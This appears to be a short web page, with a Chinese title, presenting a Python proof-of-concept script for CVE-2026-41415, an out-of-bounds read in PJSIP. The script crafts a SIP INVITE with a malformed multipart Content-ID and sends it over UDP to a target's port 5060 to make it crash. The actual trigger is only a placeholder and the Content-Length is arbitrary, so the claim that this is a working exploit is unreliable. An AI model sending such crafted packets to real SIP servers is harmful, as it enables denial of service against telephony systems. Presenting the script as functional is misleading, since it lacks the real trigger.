CVE-2026-41415 PJSIP越界读取漏洞

# PoC for CVE-2026-41415 PJSIP Out-of-bounds Read # This script sends a crafted SIP INVITE message with a malformed Content-ID URI. import socket target_ip = "TARGET_IP" target_port = 5060 # Crafted SIP message with multipart/mixed body and malformed Content-ID # The Content-ID header is designed to trigger the parsing flaw. payload = ( "INVITE sip:100@{target_ip} SIP/2.0\r\n" "Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\n" "Max-Forwards: 70\r\n" "To: <sip:100@{target_ip}>\r\n" "From: <sip:[email protected]>;tag=12345\r\n" "Call-ID: [email protected]\r\n" "CSeq: 1 INVITE\r\n" "Contact: <sip:[email protected]>\r\n" "Content-Type: multipart/mixed; boundary=boundary123\r\n" "Content-Length: 200\r\n" "\r\n" "--boundary123\r\n" "Content-Type: application/sdp\r\n" "Content-ID: <[MALFORMED_URI_TRIGGERING_OOB_READ]>\r\n" # Trigger point "\r\n" "v=0\r\no=- 0 0 IN IP4 0.0.0.0\r\ns=-\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\n" "--boundary123--\r\n" ).format(target_ip=target_ip) try: print(f"[+] Sending PoC to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload.encode(), (target_ip, target_port)) print("[+] Payload sent. Check if the target crashes or exhibits behavior.") except Exception as e: print(f"[-] Error: {e}")